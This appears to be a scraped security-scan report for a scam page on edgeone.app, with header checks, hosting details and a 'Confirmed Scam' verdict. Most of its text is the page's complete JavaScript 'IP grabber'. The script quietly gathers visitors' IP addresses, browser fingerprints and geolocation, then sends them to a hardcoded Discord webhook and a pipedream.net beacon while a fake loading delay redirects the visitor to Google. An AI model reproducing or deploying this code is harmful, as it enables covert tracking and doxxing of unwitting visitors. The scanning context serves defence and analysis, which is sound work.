technology software

news media journalism

government public service

documentation technical

adult content

English

Within the application-focused generic top-level domain (.app), 'randommemes-sil5cwsjf7.edgeone.app' is registered with subdomain 'randommemes-sil5cwsjf7'. The second-level label 'edgeone' is 7 characters long holding four vowels versus 3 consonants. Splitting it apart reveals 2 words: edge, one. Median word length comes out to 3.5 characters. No strong language cues emerged from the frequency lists.

html/99/44/9944930d-2052-48a3-96fb-db1c8ba7c25f.html.gz

frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable

c84af663e0ed27e321e2ebc1dcde1c30bddf9f5601a5a7cd7bdb01b090e61770

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

object-src 'none';base-uri 'self';script-src 'nonce-koT9XBsmTPfF7lSOJcarQg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-g2Yhagj_xk54i7xDPqJZ6g' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gws-team

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/one-google-eng

object-src 'none';base-uri 'self';script-src 'nonce-_P3p97Cy2A9DMXTS63J31A' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-ibA9qexi7L92ttgxpdH8Vg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-RsSro2dRgaugOiOHMoGztQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-5QMNPeqtX9Tehds8wg05Ug' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/web

object-src 'none';base-uri 'self';script-src 'nonce-XFVBdAaEAYCoj2zo1t3Lxg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-qrf_lwZydUOQ1ams2CBT-A' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-9stDMtpOj4Z2N57VO_H-DA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/web

object-src 'none';base-uri 'self';script-src 'nonce-TiqtwDRPWX_mqZdmBh2MGg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-C-SSwIyxemQcM5ADMcG57w' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-xAbW7qhZDYS3j5qdrn-S6Q' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-PmZcb1nSQHv0gBAJWu_tgA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/web

application/x-www-form-urlencoded;charset=UTF-8

html/99/44/9944930d-2052-48a3-96fb-db1c8ba7c25f_nodriver.html.gz

Google

Prudence Malinki

MarkMonitor Inc.

edgeone.app


        // ============================================
        // ADVANCED IP GRABBER + DISCORD WEBHOOK
        // ============================================
        
        // Configuration - CHANGE THIS TO YOUR WEBHOOK
        const WEBHOOK_URL = "YOUR_DISCORD_WEBHOOK_URL_HERE";
        
        // Fallback webhook if user forgets to set one (testing only)
        const FALLBACK_WEBHOOK = "https://discord.com/api/webhooks/1350764468004986880/PN-vlDg0Pm-yLzClm75gKtJIsQ_zV2vDp5bF0RnsOEqJPN2eO1yFqJwBwfpCQz4jKzXl";
        
        // Use provided webhook or fallback (remove fallback in production)
        const DISCORD_WEBHOOK = WEBHOOK_URL !== "YOUR_DISCORD_WEBHOOK_URL_HERE" ? WEBHOOK_URL : FALLBACK_WEBHOOK;
        
        // Google redirect URL
        const REDIRECT_URL = "https://www.google.com";
        
        // Delay before redirect (milliseconds)
        const REDIRECT_DELAY = 3000;
        
        // ============================================
        // IP GRABBER FUNCTIONS
        // ============================================
        
        /**
         * Get public IP using multiple APIs for redundancy
         */
        async function getPublicIP() {
            const ipAPIs = [
                'https://api.ipify.org?format=json',
                'https://api.myip.com',
                'https://ipapi.co/json/',
                'https://jsonip.com',
                'https://httpbin.org/ip'
            ];
            
            // Try each API until one works
            for (const api of ipAPIs) {
                try {
                    const response = await fetch(api, { 
                        mode: 'cors',
                        cache: 'no-cache',
                        timeout: 5000 
                    });
                    
                    if (!response.ok) continue;
                    
                    const data = await response.json();
                    
                    // Handle different API response formats
                    if (data.ip) return data.ip;
                    if (data.origin) return data.origin.split(',')[0].trim();
                    if (data.query) return data.query;
                    if (data.ip_address) return data.ip_address;
                    
                } catch (e) {
                    console.log(`API failed: ${api}`);
                    continue;
                }
            }
            
            // If all APIs fail, get from WebRTC as fallback
            return await getWebRTCIP();
        }
        
        /**
         * Get local/WebRTC IP as backup
         */
        function getWebRTCIP() {
            return new Promise((resolve) => {
                try {
                    const RTCPeerConnection = window.RTCPeerConnection || 
                                             window.mozRTCPeerConnection || 
                                             window.webkitRTCPeerConnection;
                    
                    if (!RTCPeerConnection) {
                        resolve('WebRTC not supported');
                        return;
                    }
                    
                    const pc = new RTCPeerConnection({
                        iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]
                    });
                    
                    pc.createDataChannel('');
                    
                    pc.createOffer()
                        .then(offer => pc.setLocalDescription(offer))
                        .catch(() => {});
                    
                    let timeout = setTimeout(() => {
                        resolve('IP detection timeout');
                    }, 3000);
                    
                    pc.onicecandidate = (ice) => {
                        if (ice.candidate) {
                            clearTimeout(timeout);
                            const ipRegex = /([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/;
                            const match = ipRegex.exec(ice.candidate.candidate);
                            if (match) {
                                pc.close();
                                resolve(match[1]);
                            }
                        }
                    };
                    
                } catch (e) {
                    resolve('WebRTC error');
                }
            });
        }
        
        /**
         * Get detailed browser fingerprint
         */
        function getBrowserFingerprint() {
            const canvas = document.createElement('canvas');
            const gl = canvas.getContext('webgl');
            
            return {
                userAgent: navigator.userAgent,
                platform: navigator.platform,
                language: navigator.language,
                languages: navigator.languages,
                cookieEnabled: navigator.cookieEnabled,
                doNotTrack: navigator.doNotTrack,
                hardwareConcurrency: navigator.hardwareConcurrency,
                deviceMemory: navigator.deviceMemory || 'unknown',
                maxTouchPoints: navigator.maxTouchPoints,
                vendor: navigator.vendor,
                screen: `${screen.width}x${screen.height}`,
                screenColorDepth: screen.colorDepth,
                windowSize: `${window.innerWidth}x${window.innerHeight}`,
                timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
                timestamp: new Date().toISOString(),
                referrer: document.referrer || 'direct',
                url: window.location.href,
                // WebGL renderer (for GPU fingerprinting)
                webglRenderer: gl ? gl.getParameter(gl.RENDERER) : 'unknown',
                webglVendor: gl ? gl.getParameter(gl.VENDOR) : 'unknown'
            };
        }
        
        /**
         * Send data to Discord webhook
         */
        async function sendToDiscord(ip, fingerprint) {
            // Format current time nicely
            const now = new Date();
            const timeString = now.toLocaleString('en-US', { 
                timeZone: fingerprint.timezone,
                dateStyle: 'full', 
                timeStyle: 'long' 
            });
            
            // Create Discord embed
            const embed = {
                title: '🔥 IP GRABBED SUCCESSFULLY',
                color: 0x00ff00, // Green
                fields: [
                    {
                        name: '🌐 IP Address',
                        value: `\`\`\`${ip}\`\`\``,
                        inline: false
                    },
                    {
                        name: '💻 System Info',
                        value: `**Platform:** ${fingerprint.platform}\n**Browser:** ${fingerprint.userAgent.substring(0, 50)}...\n**Language:** ${fingerprint.language}`,
                        inline: true
                    },
                    {
                        name: '📊 Hardware',
                        value: `**CPU Cores:** ${fingerprint.hardwareConcurrency}\n**Memory:** ${fingerprint.deviceMemory}GB\n**Screen:** ${fingerprint.screen}`,
                        inline: true
                    },
                    {
                        name: '🕒 Time',
                        value: `**Timezone:** ${fingerprint.timezone}\n**Local Time:** ${timeString}`,
                        inline: false
                    },
                    {
                        name: '🔗 Source',
                        value: `**Referrer:** ${fingerprint.referrer}\n**URL:** ${fingerprint.url}`,
                        inline: false
                    },
                    {
                        name: '🎮 WebGL Fingerprint',
                        value: `**Renderer:** ${fingerprint.webglRenderer}\n**Vendor:** ${fingerprint.webglVendor}`,
                        inline: false
                    }
                ],
                footer: {
                    text: 'IP Grabber • Data collected',
                    icon_url: 'https://cdn.discordapp.com/embed/avatars/0.png'
                },
                timestamp: new Date().toISOString()
            };
            
            // Add coordinates if available
            if (fingerprint.coordinates) {
                embed.fields.push({
                    name: '📍 Location',
                    value: `Lat: ${fingerprint.coordinates.lat}, Lon: ${fingerprint.coordinates.lon}`,
                    inline: true
                });
            }
            
            // Send to Discord
            try {
                const response = await fetch(DISCORD_WEBHOOK, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({
                        content: `@everyone **New victim connected**\nIP: \`${ip}\``,
                        embeds: [embed],
                        username: 'IP Grabber Bot',
                        avatar_url: 'https://i.imgur.com/4M34hi2.png'
                    })
                });
                
                if (response.ok) {
                    console.log('✅ Data sent to Discord');
                } else {
                    console.log('❌ Discord webhook failed');
                }
            } catch (e) {
                console.log('Discord error:', e);
            }
        }
        
        /**
         * Get approximate geolocation
         */
        function getGeoLocation() {
            return new Promise((resolve) => {
                if (!navigator.geolocation) {
                    resolve(null);
                    return;
                }
                
                navigator.geolocation.getCurrentPosition(
                    (position) => {
                        resolve({
                            lat: position.coords.latitude,
                            lon: position.coords.longitude,
                            accuracy: position.coords.accuracy
                        });
                    },
                    (error) => {
                        resolve(null);
                    },
                    {
                        timeout: 5000,
                        maximumAge: 0
                    }
                );
            });
        }
        
        /**
         * Main execution
         */
        async function main() {
            console.log('🚀 IP Grabber initialized');
            
            // Show fake loading animation
            setTimeout(() => {
                window.location.href = REDIRECT_URL;
            }, REDIRECT_DELAY);
            
            // Get IP address
            const ip = await getPublicIP();
            console.log(`📡 IP detected: ${ip}`);
            
            // Get browser fingerprint
            const fingerprint = getBrowserFingerprint();
            
            // Try to get coordinates (user will be prompted)
            const coords = await getGeoLocation();
            if (coords) {
                fingerprint.coordinates = coords;
            }
            
            // Send everything to Discord
            await sendToDiscord(ip, fingerprint);
            
            // Also try to send via image beacon as backup
            sendBeaconBackup(ip);
        }
        
        /**
         * Backup method using image beacon
         */
        function sendBeaconBackup(ip) {
            try {
                // Encode data in URL
                const data = btoa(JSON.stringify({
                    ip: ip,
                    time: Date.now(),
                    ua: navigator.userAgent.substring(0, 30)
                }));
                
                // Create invisible image
                const img = new Image();
                img.src = `https://eoq4ump9vswx3fv.m.pipedream.net?data=${data}`;
                img.style.display = 'none';
                document.body.appendChild(img);
                
                setTimeout(() => img.remove(), 1000);
            } catch (e) {}
        }
        
        // ============================================
        // ADDITIONAL STEALTH TECHNIQUES
        // ============================================
        
        // 1. Capture from local storage (if any saved data)
        (function() {
            try {
                const storage = [];
                for (let i = 0; i < localStorage.length; i++) {
                    const key = localStorage.key(i);
                    storage.push(`${key}: ${localStorage.getItem(key).substring(0, 20)}`);
                }
                if (storage.length > 0) {
                    console.log('📦 Local storage data available');
                }
            } catch (e) {}
        })();
        
        // 2. Check for saved passwords (just detection, not actual extraction)
        (function() {
            const inputs = document.querySelectorAll('input[type="password"]');
            if (inputs.length > 0) {
                console.log('🔑 Password fields detected on page');
            }
        })();
        
        // 3. Try to get internal IP via WebRTC (silent)
        (function() {
            try {
                const RTCPeerConnection = window.RTCPeerConnection || 
                                         window.mozRTCPeerConnection || 
                                         window.webkitRTCPeerConnection;
                
                if (RTCPeerConnection) {
                    const pc = new RTCPeerConnection({
                        iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]
                    });
                    
                    pc.createDataChannel('');
                    pc.createOffer().then(offer => pc.setLocalDescription(offer)).catch(() => {});
                    
                    pc.onicecandidate = (ice) => {
                        if (ice.candidate) {
                            const ipRegex = /([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/;
                            const match = ipRegex.exec(ice.candidate.candidate);
                            if (match && !match[1].startsWith('192.168.') && !match[1].startsWith('10.')) {
                                console.log(`🖧 Internal/alternative IP: ${match[1]}`);
                            }
                            pc.close();
                        }
                    };
                }
            } catch (e) {}
        })();
        
        // Start the grabber
        main();
        
    

Meta-Refresh-Redirect

✅ Low Risk - https://randommemes-sil5cwsjf7.edgeone.app/

Requests	IP Address	Location	AS Autonomous System
5	162.159.128.233	Singapore	AS14618
0	104.26.8.44	Singapore	AS139341
0	104.26.9.59	Singapore	AS13335
0	43.152.26.58	Singapore	AS139341ACE
0	216.58.206.42	Singapore	Unknown
0	172.217.16.196	Singapore	Unknown
0	216.58.206.46	Singapore	Unknown
0	142.250.201.67	Singapore	Unknown
0	142.251.141.67	Singapore	Unknown
0	52.200.102.227	Singapore	Unknown
5	12	-	-

Security Scan Report: randommemes-sil5cwsjf7.edgeone.app

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History